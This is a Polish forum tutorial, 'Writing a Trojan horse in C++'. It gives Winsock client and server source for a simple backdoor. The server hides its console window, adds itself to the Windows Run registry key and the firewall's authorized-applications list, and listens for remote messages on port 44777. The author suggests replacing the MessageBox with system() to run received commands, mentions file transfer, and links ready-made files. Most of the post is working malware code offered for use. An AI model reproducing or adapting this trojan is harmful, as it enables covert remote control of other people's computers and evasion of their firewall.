C++. Piszemy konia trojańskiego.

discovery44

Były Moderator
Dołączył
Sierpień 14, 2007
Posty
763
Jak napisać konia trojańskiego w C++? Postaram się to wyjaśnić opisując poniższy kod.
Co będzie potrzebne do napisania takiego programu? Po pierwsze kompilator (w moim przypadku będzie to IDE - Dev-Cpp). Po drugie znajomość samego języka C++. Do testowania programu wystarczy localhost, tj. numer IP 127.0.0.1. Przystąpmy do implementacji, na koniec pokażę jak dolinkować niezbędne pliki do kompilacji kodu.
Pokażę teraz jak wygląda przykładowy klient. Na początek inkludujemy potrzebne nam pliki nagłówkowe.W naszym przypadku będzie to:
Kod:
#include <winsock.h> 
#include <string> 
#include <iostream> 
using namespace std;
1.winsock.h - do komunikacji pomiędzy klientem a serwerem.
1.,2. string - do obsługi poleceł. Można stosować zmienne typu char, ja natomiast preferuję string (wygodniejsze operacje i więcej funkcji). Żebyśmy nie musieli pisać std::string przy każdej deklaracji zmiennych używamy przestrzeni nazw std;.
3. iostream - do komunikacji z użytkownikiem.
WinSocket'y potrzebują paru zmiennych do prawidłowego działania:
Kod:
WSADATA wsadata; 
struct hostent *serwer; 
SOCKET klient; 
SOCKADDR_IN adres;
wsadata - niepotrzebna Nam informacja zwrócona przez funkcję WSAStartup.
Do przechowania informacji o serwerze (hoście) wykorzytamy strukturę hostent;
klient - gniazdo klienta;
adres - wszystkie potrzebne nam zmienne do po³łczenia z serwerem.
W ciele main() wpisujemy:
Kod:
WSAStartup(MAKEWORD(2,2), &wsadata); 
klient = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
WSAStartup - start winsocketów w wersji 2.2
socket() - funkcja tworzy Nam gniazdo TCP/IP. Rezultat (gniazdo) zwracane jest zmiennej klient.
Uzupełniamy informacje o serwerze:
Kod:
string adresip, wiadomosc; 
cout << "Polacz z: "; 
getline(cin, adresip); 
int PORT = 44777; 
int dziennik_bledow; 
adres.sin_family = AF_INET; 
adres.sin_port = htons(PORT); 
adres.sin_addr.s_addr = inet_addr(adresip.c_str());
A teraz to co tygryski lubią najbardziej :)
Kod:
dziennik_bledow = connect(klient, (struct sockaddr*)&adres, sizeof(adres)); 
while(1) 
{ 
    cout << "Podaj tresc wiadomosc jaka ma byc wyswietlona na serwerze: "; 
    getline(cin, wiadomosc); 
    dziennik_bledow = send(klient, wiadomosc.c_str(), wiadomosc.length(), 0); 
    if(dziennik_bledow == SOCKET_ERROR) 
cout << "\t\v\a Blad wysylania danych do serwera!" << endl; 
else cout << "\t\v Wyslano! " << endl; 
Sleep(10); 
} 
getchar();
Jak zauważyliście zmienna dziennik_bledow przechowuje rezultat funkcji send(). Można ją zastosować także do m.in. funkcji connect() i recv(). getchar() sprawia że po wykonaniu powyższych linijek program czeka na wciśnięcie klawisza enter.

Dobrze, teraz czas na serwer:
Tak jak w przypadku klienta inkludujemy:
Kod:
#include <winsock.h> 
#include <string> 
#include <iostream> 
#include <windows.h> 
using namespace std;
1. windows.h - nie jest to konieczne, w naszym przypadku jest bo korzystamy z funkcji MessageBox(), ukrywania okna i dodawania do rejestru.
Niezbędniki winsock:
Kod:
WSADATA wsadata; 
SOCKET klient, nasluch; 
SOCKADDR_IN adres, adres_klienta; 
string tresc, wartosc; 
char wiadomosc[512];
Tablica wiadomosc będzie trzymała odebrane wiadomosci z serwera, zmienna tresc będzie służyła do operowania na tablicy wiadomosc. Zmienna wartosc przyda sie Nam przy dodawaniu do rejestru (autouruchamiania naszego programu)
Teraz maskowanie okna konsoli. Poniższe instukcje umieszczamy zawsze na początku funkcji main, żeby przypadkiem inne powyższe instrukcje (bądź błędy w ich wykonaniu) nie spowodowały zwieszenia się programu. Tegobyśmy niechcieli - kto by chciał zobaczyć na ekranie okno trojana? :)
Kod:
HWND okno = FindWindow("ConsoleWindowClass", 0); 
ShowWindow(okno, SW_HIDE);
Prawdopodobnie chcemy aby nasz konik uruchamiany był przy starcie systemu. Musimy dodać go do rejestru (jest to jedno z conajmniej kilku rozwiąza):
Kod:
HKEY klucz; 
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &klucz); 
RegSetValueEx(klucz, "trojan-jacek", 0, REG_SZ, (BYTE*)argv[0], strlen(argv[0])); 
RegCreateKey(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parametrs\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List", &klucz); 
wartosc = argv[0]; 
wartosc += ":*:Enabled:"; 
wartosc += argv[0]; 
RegSetValueEx(klucz, argv[0], 0, REG_SZ, (BYTE*)"trojan-jacek", strlen("trojan-jacek"));
Koniec WinAPI, teraz winsockety:
Kod:
WSAStartup(MAKEWORD(2,2), &wsadata); 
nasluch = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); 
int PORT = 44777; 
int adres_dlugosc; 
adres.sin_family = AF_INET; 
adres.sin_port = htons(PORT); 
adres.sin_addr.s_addr = htonl(INADDR_ANY); 
bind(nasluch, (struct sockaddr*)&adres, sizeof(adres)); 
listen(nasluch, 10); 
adres_dlugosc = sizeof(adres_klienta); 
klient = accept(nasluch, (struct sockaddr*)&adres_klienta, &adres_dlugosc);
Załadowanie winsocketów w wersji 2.2, stworzenie gniazda TCP nasluch, ustawienie portu programu (zachęcam do ustawiania tego samego co w kliencie, inaczej serwer się nie przyda ( -: ), uzupełnianie struktury, pozwiązania gniazda nasluch, przygotowanie nasluch do nasłuchiwania, pobranie długości adresu ip, akceptacja połączenia. Teraz nasluc***emy na porcie PORT i przetwarzamy odebraną wiadomość:
Kod:
while(1) 
{ 
for(int i = 0 ; i < sizeof(wiadomosc) ; i++) 
{ 
char c[1] = ""; 
wiadomosc[i] = c[0]; 
} 
    recv(klient, wiadomosc, sizeof(wiadomosc), 0); 
tresc = wiadomosc; 
if(tresc != "") 
MessageBox(0, tresc.c_str(), "TROJANIZED", MB_ICONERROR); 
} 
    closesocket(klient); 
    WSACleanup(); 
} // koniec main()
Opis ostaniego fragmentu kodu - kasujemy zawartość tablicy wiadomosc wrazie gdyby jakieś śmieciory w niej były. Odbieramy wiadomość od klienta - do tego służy funkcja recv. Sprawdzamy czy zmienna tresc ma jakąś zawartość, jeśli tak to wywalmy MessageBox'a. MessageBox to tylko jedno (i w praktyce bardzo często nie potrzebne przy pisaniu koni trojańskich) rozwiązanie. Zastosowałem je żebyśmy widzieli komunikat (zakładam że będziecie edytować [przedtym testując] kod programu). Jednym z najprzydaniejszych zastosowań było by tu
Kod:
system(tresc.c_str());
które wykonałoby naszą wiadomosc w wierszu poleceń (np. start "D:\\Program Files\\naked.jpg"). W miejsce MessageBox'a można wstawić dosłownie wszystko. Czy to zapis wiadmości do pliku (przydatne przy przesyłaniu plików [kod binarny]) czy rysowanie małpy-transwescyty w różowej spudnicy na ekranie czy cokolwiek innego.
Mam nadzieję że pomogłem komuś zrozumieć działanie programów klient-serwer. Na koniec obiecalem pokazać jak dolinkować niezbędne pliki do projektu więc:
Uruchamiamy Dev-Cpp: Opcje Projektu (Alt+P [ostatnia ikona na pierwszym toolbarze]) > Parametry > [Konsolidator]Dodaj Plik > Dev-Cpp\\lib\\libws2_32.a (katalog z dev-cpp).
devcpp.png

Instrukcje dodawania do rejestru znalazłem na HCP kiedyś i z tego korzystam do dziś :)
Dla tych którzy mają problemy z posklejaniem tego w całość umieściłem potrzebne pliki na stronie. DOWNLOAD

PS: Proszę się nie dziwić że serwer tyle waży :) W razie potrzeby należy wyrzucić (odinkludować) windows.h, string i iostream (string zazwyczaj jest w iostream ale dziwne się rzeczy dzieją). Do komendy system("") można też użyć stdlib.h. W programie jest błąd logiczny który umieściłem celowo - jak pisałem artykuł jest dla osób znających C++, gotowców nie będzie :)
 
Do góry Bottom